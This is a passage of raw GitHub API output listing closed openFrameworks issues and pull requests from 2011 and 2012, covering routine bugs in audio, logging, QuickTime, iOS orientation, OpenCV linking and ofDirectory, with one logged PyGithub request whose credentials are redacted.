ofTexture","labels":[],"closed_at":"2011-05-21T19:55:51Z","created_at":"2011-05-21T19:53:17Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":936328,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/581.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/581","patch_url":"https://github.com/openframeworks/openFrameworks/pull/581.patch"}},{"updated_at":"2011-05-21T18:09:12Z","body":"fixed rt audio hang on exit by removing close() in destructor; now correctly deleting audio pointer when closing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/580","comments":2,"milestone":null,"number":580,"html_url":"https://github.com/openframeworks/openFrameworks/issues/580","assignee":null,"title":"fixed rt audio hang on exit","labels":[],"closed_at":"2011-05-21T18:03:50Z","created_at":"2011-05-21T18:02:13Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":936118,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/580.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/580","patch_url":"https://github.com/openframeworks/openFrameworks/pull/580.patch"}},{"updated_at":"2011-05-21T17:24:51Z","body":"fixed RtAudio close call in destructor which hangs on exit, added bSetup bool since audio pointer is now a shared_ptr","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/579","comments":11,"milestone":null,"number":579,"html_url":"https://github.com/openframeworks/openFrameworks/issues/579","assignee":null,"title":"fixed RtAudio hanging on exit","labels":[],"closed_at":"2011-05-21T17:23:39Z","created_at":"2011-05-21T16:46:40Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":935985,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/579.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/579","patch_url":"https://github.com/openframeworks/openFrameworks/pull/579.patch"}},{"updated_at":"2011-05-21T16:03:59Z","body":"check if RTAudio stream is open/running before closing/stopping, avoids error print on RT sound stream destructor if close was called during app::exit()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/578","comments":0,"milestone":null,"number":578,"html_url":"https://github.com/openframeworks/openFrameworks/issues/578","assignee":null,"title":"check if RTAudio stream is open/running before closing/stopping","labels":[],"closed_at":"2011-05-21T16:03:59Z","created_at":"2011-05-21T16:00:40Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":935912,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/578.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/578","patch_url":"https://github.com/openframeworks/openFrameworks/pull/578.patch"}},{"updated_at":"2011-08-26T11:51:32Z","body":"* capital-M Makefile is more standard; updated base in devApps/linux/Makefile + script (FIXED)\n* USER_LD_FLAGS in config.make should be USER_LDFLAGS (FIXED)\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/575","comments":2,"milestone":null,"number":575,"html_url":"https://github.com/openframeworks/openFrameworks/issues/575","assignee":null,"title":"Linux: renamed examples makefile->Makefile; fixed config.make; updated devApps/linux/copyMakefiles.sh","labels":[],"closed_at":"2011-08-26T11:51:32Z","created_at":"2011-05-19T14:38:29Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":927292,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/575.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/575","patch_url":"https://github.com/openframeworks/openFrameworks/pull/575.patch"}},{"updated_at":"2011-12-12T21:29:06Z","body":"Using the bleeding edge 007, I noticed that the following call prints even if the log level is not OF_LOG_VERBOSE:\r\n
\r\nstring line = \"test\";\r\nofLog(OF_LOG_VERBOSE, \"ofxPd: print: \"+line);\r\n
\r\n\r\nSwitching to the var args works fine:\r\n
\r\nofLog(OF_LOG_VERBOSE, \"ofxPd: print: %s\", line.c_str());\r\n
\r\n\r\nSomehow the string concatenation via the + operator is forcing the print through ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/574","comments":5,"milestone":null,"number":574,"html_url":"https://github.com/openframeworks/openFrameworks/issues/574","assignee":null,"title":"ofLog logLevels ignored when adding strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-12-12T20:58:10Z","created_at":"2011-05-18T20:23:45Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":923832,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T09:19:54Z","body":"I just want to tell you that there is a problem with Lion. I'm a beta tester and I usualy work with OF and there is a problem with QT\r\nXCode (4.1 L2) tell me that MacSetRect, GetGWorldPixMap, LockPixels, SetGWord as not declare in the scope in ofQuickTimePlayer.cpp and ofQuickTimeGrabber.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/573","comments":16,"milestone":null,"number":573,"html_url":"https://github.com/openframeworks/openFrameworks/issues/573","assignee":null,"title":"Lion beta tester problem with ofQuicktimeGrabber and ofQuickTimePlayer","labels":[],"closed_at":"2011-08-22T09:19:54Z","created_at":"2011-05-16T22:52:20Z","state":"closed","user":{"url":"https://api.github.com/users/rsilvestre","gravatar_id":"e7b7d7f64512fd4f1fd53e5f4846b1f6","login":"rsilvestre","avatar_url":"https://secure.gravatar.com/avatar/e7b7d7f64512fd4f1fd53e5f4846b1f6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":213663},"id":913417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-01T15:33:02Z","body":"needs: tex.texData.bFlipTexture = true;\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/571","comments":0,"milestone":null,"number":571,"html_url":"https://github.com/openframeworks/openFrameworks/issues/571","assignee":null,"title":"ofFbo is rendering upside down","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-07-01T15:33:02Z","created_at":"2011-05-12T22:13:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":891991,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-05T11:44:02Z","body":"Is there any possibility of future releases of openFrameworks for Mac OSX will be as xcode frameworks?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/570","comments":1,"milestone":null,"number":570,"html_url":"https://github.com/openframeworks/openFrameworks/issues/570","assignee":null,"title":"openFrameworks as and xcode framework","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":"2012-03-05T11:44:02Z","created_at":"2011-05-12T08:25:07Z","state":"closed","user":{"url":"https://api.github.com/users/subszero","gravatar_id":"aac7f9a85388beb45df5ee4366240473","login":"subszero","avatar_url":"https://secure.gravatar.com/avatar/aac7f9a85388beb45df5ee4366240473?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":732178},"id":888301,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-13T13:21:55Z","body":"I get this in the console instead num touches: 818435748","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/567","comments":0,"milestone":null,"number":567,"html_url":"https://github.com/openframeworks/openFrameworks/issues/567","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS touche.numTouches does not return correct value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-03-13T13:21:55Z","created_at":"2011-05-10T19:47:14Z","state":"closed","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":878145,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:21:11Z","body":"Hi\r\n\r\nBeen working on getting the openCVexample working for Windows with the latest stable branch. Got most of it done (adding search directories and linking the newly named libs for GL). The error I can't get rid of is \"obj\\release\\addons\\ofxOpenCv\\src\\ofxCvImage.o:ofxCvImage.cpp|| undefined reference to `cvUnDistortOnce'|\". A bit of searching shows that this is in the opencv_legacy.a file, which exists for linux, iphone, osx and android, but not for win_cb.\r\n\r\nI'd be happy to compile this file, if only I knew how!\r\n\r\nStefan","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/563","comments":1,"milestone":null,"number":563,"html_url":"https://github.com/openframeworks/openFrameworks/issues/563","assignee":null,"title":"opencv_legacy.a for windows codeblocks","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":"2011-12-03T21:21:11Z","created_at":"2011-05-02T13:35:49Z","state":"closed","user":{"url":"https://api.github.com/users/stepto","gravatar_id":"a5f1321d2fe04fb88e22f0a99605377c","login":"stepto","avatar_url":"https://secure.gravatar.com/avatar/a5f1321d2fe04fb88e22f0a99605377c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":366395},"id":838677,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T18:18:58Z","body":"MoviesTask was #ifdef'd out by an #ifdef OF_QT_MOVIETASK which was not defined anywhere. Although MoviesTask is called automatically in most cases under OSX, when movie playback is heavily multithreaded failing to call MoviesTask manually can cause movies to freeze.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/562","comments":5,"milestone":null,"number":562,"html_url":"https://github.com/openframeworks/openFrameworks/issues/562","assignee":null,"title":"Re-enabled MoviesTask in ofQuickTimePlayer","labels":[],"closed_at":"2012-02-25T18:16:52Z","created_at":"2011-05-01T16:57:08Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":835644,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/562.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/562","patch_url":"https://github.com/openframeworks/openFrameworks/pull/562.patch"}},{"updated_at":"2011-07-06T18:33:02Z","body":"adding img.resetROI before copying the input img in findHaarObjects\r\nsolves issue 558\r\nhttps://github.com/openframeworks/openFrameworks/issues/558\r\nbut maybe someone with more knowledge of the haarFinder could review?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/561","comments":0,"milestone":null,"number":561,"html_url":"https://github.com/openframeworks/openFrameworks/issues/561","assignee":null,"title":"resetROI on ofxCvHaarFinder::findHaarObjects","labels":[],"closed_at":"2011-07-06T18:33:02Z","created_at":"2011-04-30T18:52:11Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":833930,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/561.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/561","patch_url":"https://github.com/openframeworks/openFrameworks/pull/561.patch"}},{"updated_at":"2011-10-23T19:21:45Z","body":"Visual Studio versions before 2010 did not come with stdint.h, so those types had to be defined in cross platform code. Now that the new version does, some of this older code breaks due to the redefinition.\n\nSee http://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\n\nIn ofxOSC in ofxOscArg.h on lines 73-76:\n
\n#if defined TARGET_WIN32 && defined _MSC_VER\n// required because MSVC isn't ANSI-C compliant\ntypedef long int32_t;\n#endif\n
\n\nThe define should check for versions < VS 2010. See https://github.com/ofTheo/ofxKinect/issues/64","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/559","comments":6,"milestone":null,"number":559,"html_url":"https://github.com/openframeworks/openFrameworks/issues/559","assignee":null,"title":"ofxOsc int32_t typedef not needed with VS 2010 on windows","labels":[],"closed_at":"2011-10-23T19:21:45Z","created_at":"2011-04-28T13:29:04Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":824284,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T20:22:42Z","body":"In findHaarObjects, we call img.setROI after making the copy of the input image, but if the internal img of the haarfinder has a previous ROI, we get the error\r\nOF_ERROR: in =, ROI mismatch \r\n\r\nexplanation and proposed solution \r\nhttp://forum.openframeworks.cc/index.php/topic,6091.msg29389.html#msg29389\r\n\r\nif the solution seems sensitive, I can make a pull request","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/558","comments":1,"milestone":null,"number":558,"html_url":"https://github.com/openframeworks/openFrameworks/issues/558","assignee":null,"title":"ofxCvHaarFinder fails when using different ROI on succesive calls","labels":[],"closed_at":"2011-12-04T20:22:35Z","created_at":"2011-04-27T22:31:00Z","state":"closed","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":822013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-04-27T18:09:25Z","body":"draws at a constant line width.\r\n\r\ndoesn't leak color.\r\n\r\nminor formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/557","comments":2,"milestone":null,"number":557,"html_url":"https://github.com/openframeworks/openFrameworks/issues/557","assignee":null,"title":"ofDrawAxis fixes","labels":[],"closed_at":"2011-04-27T18:01:07Z","created_at":"2011-04-27T17:58:30Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":820863,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/557.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/557","patch_url":"https://github.com/openframeworks/openFrameworks/pull/557.patch"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=21&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '33051'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"40a3fca1fc2d59e7793251208ccbfae2"'), ('date', 'Tue, 29 May 2012 18:46:42 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"iPhone setOrientation uses two different enums","html_url":"https://github.com/openframeworks/openFrameworks/issues/556","comments":1,"assignee":null,"updated_at":"2011-07-02T19:25:46Z","body":"OFXIPHONE_ORIENTATION_LANDSCAPE_RIGHT is set to UIDeviceOrientationLandscapeRight\r\n\r\nbut in ofxiPhoneAppWindow::setOrientation it uses a different enum \r\n\r\nOFXIPHONE_ORIENTATION_LANDSCAPE_RIGHT:\r\n\t\t\t[[UIApplication sharedApplication] setStatusBarOrientation: UIInterfaceOrientationLandscapeRight\r\n\r\non iPad UIDeviceOrientationLandscapeRight = UIInterfaceOrientationLandscapeLeft and vice versa \r\n\r\nwe should use one of these sets for everything - mixing them causes crazy iPad rotation weirdness. \r\n\r\n@memo @stfj","number":556,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/556","labels":[],"id":817446,"closed_at":"2011-07-02T19:25:46Z","created_at":"2011-04-27T00:18:26Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OF_SOUND_PLAYER_IPHONE in ofSoundPlayer.h","html_url":"https://github.com/openframeworks/openFrameworks/issues/554","comments":4,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-05-26T10:27:20Z","body":"There is this (line 37):\n#ifdef TARGET_OF_IPHONE\n#define OF_SOUND_PLAYER_IPHONE\n\nbut OF_SOUND_PLAYER_IPHONE isnt used again anywhere.\n\nline 62:\n#ifdef TARGET_OF_IPHONE\n#include \"ofxOpenALSoundPlayer.h\"\n#define OF_SOUND_PLAYER_TYPE ofxOpenALSoundPlayer()\n#endif\n\nshould be\n#ifdef OF_SOUND_PLAYER_IPHONE\n#include \"ofxOpenALSoundPlayer.h\"\n#define OF_SOUND_PLAYER_TYPE ofxOpenALSoundPlayer()\n#endif\n\nit still works anyway, but i wondered why OF_SOUND_PLAYER_IPHONE was being defined. just a minor thing.\n\n\n","number":554,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/554","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound"}],"id":809549,"closed_at":"2012-05-26T10:27:16Z","created_at":"2011-04-25T12:36:14Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b5c0e3c2630097b29680cfeda464024c","url":"https://api.github.com/users/memo","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"fixed iphone empty example","html_url":"https://github.com/openframeworks/openFrameworks/issues/553","comments":0,"assignee":null,"updated_at":"2011-04-24T03:51:15Z","body":"updated iPhoneEmptyExample project file to compile, link, and run for iphone and simulator","number":553,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/553","diff_url":"https://github.com/openframeworks/openFrameworks/pull/553.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/553.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/553","labels":[],"id":805986,"closed_at":"2011-04-24T03:51:15Z","created_at":"2011-04-23T20:31:11Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b5c0e3c2630097b29680cfeda464024c","url":"https://api.github.com/users/memo","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"CRITICAL FIX: ios touch positions are in the wrong place when in landscape","html_url":"https://github.com/openframeworks/openFrameworks/issues/552","comments":0,"assignee":null,"updated_at":"2011-04-24T03:49:56Z","body":"fixed","number":552,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/552","diff_url":"https://github.com/openframeworks/openFrameworks/pull/552.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/552.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/552","labels":[],"id":805911,"closed_at":"2011-04-24T03:49:56Z","created_at":"2011-04-23T19:55:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b5c0e3c2630097b29680cfeda464024c","url":"https://api.github.com/users/memo","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"fixed iphoneEmptyExample project","html_url":"https://github.com/openframeworks/openFrameworks/issues/551","comments":1,"assignee":null,"updated_at":"2011-04-23T20:28:29Z","body":"removed all OSX libraries\r\nremoved cppUnit.cpp from poco\r\nadded necessary frameworks\r\n\r\napps/iPhoneExamples/emptyExample/iPhoneEmptyExample.xcodeproj is now a working project\r\n\r\n","number":551,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/551","diff_url":"https://github.com/openframeworks/openFrameworks/pull/551.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/551.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/551","labels":[],"id":805835,"closed_at":"2011-04-23T20:28:29Z","created_at":"2011-04-23T19:09:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b5c0e3c2630097b29680cfeda464024c","url":"https://api.github.com/users/memo","login":"memo","id":144230,"avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofMesh::addTriangle(index1, index2, index3)","html_url":"https://github.com/openframeworks/openFrameworks/issues/550","comments":0,"assignee":null,"updated_at":"2011-04-23T18:46:49Z","body":"to add a triangle to a mesh, you need to do it in 3 lines:\r\nmesh.addIndex(0);\r\nmesh.addIndex(1);\r\nmesh.addIndex(2);\r\nand that adds a triangle.\r\n\r\nSo I added a simple method which wraps that. \r\nmesh.addTriangle(0, 1, 2);\r\n","number":550,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/550","diff_url":"https://github.com/openframeworks/openFrameworks/pull/550.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/550.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/550","labels":[],"id":805710,"closed_at":"2011-04-23T18:46:48Z","created_at":"2011-04-23T18:04:28Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"remaining ofDirectory issues","html_url":"https://github.com/openframeworks/openFrameworks/issues/547","comments":5,"assignee":null,"updated_at":"2011-04-20T09:20:08Z","body":"three or four issues were introduced, two of them fairly serious, when ofDirList turned into ofDirectory. i've fixed them in this branch.\r\n\r\nthis pull request cleans up the commits.","number":547,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/547","diff_url":"https://github.com/openframeworks/openFrameworks/pull/547.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/547.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/547","labels":[],"id":790166,"closed_at":"2011-04-20T00:25:22Z","created_at":"2011-04-19T18:45:30Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"remaining ofDirectory issues","html_url":"https://github.com/openframeworks/openFrameworks/issues/546","comments":5,"assignee":null,"updated_at":"2011-04-19T18:46:55Z","body":"three or four issues were introduced, two of them fairly serious, when ofDirList turned into ofDirectory. i've fixed them in this branch.","number":546,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/546","diff_url":"https://github.com/openframeworks/openFrameworks/pull/546.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/546.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/546","labels":[],"id":790022,"closed_at":"2011-04-19T18:40:48Z","created_at":"2011-04-19T18:10:21Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofDirectory::setExecutable is unimplemented","html_url":"https://github.com/openframeworks/openFrameworks/issues/544","comments":4,"assignee":null,"updated_at":"2011-12-03T21:05:39Z","body":"i don't know if it even makes sense to set a directory as 'executable', but regardless, the method is unimplemented.\r\n\r\nif there is going to be so much repetition between ofFile and ofDirectory it might make sense for ofDirectory to extend ofFile.","number":544,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/544","labels":[],"id":789872,"closed_at":"2011-12-03T21:05:39Z","created_at":"2011-04-19T17:46:37Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofDirectory hidden files broken by ofFileUtils migration","html_url":"https://github.com/openframeworks/openFrameworks/issues/543","comments":2,"assignee":null,"updated_at":"2011-12-03T21:04:46Z","body":"ofDirectory must have a constructor, and this constructor must initialize \"showHidden\" to false. otherwise the variable is uninitialized, and you might have random problems with hidden 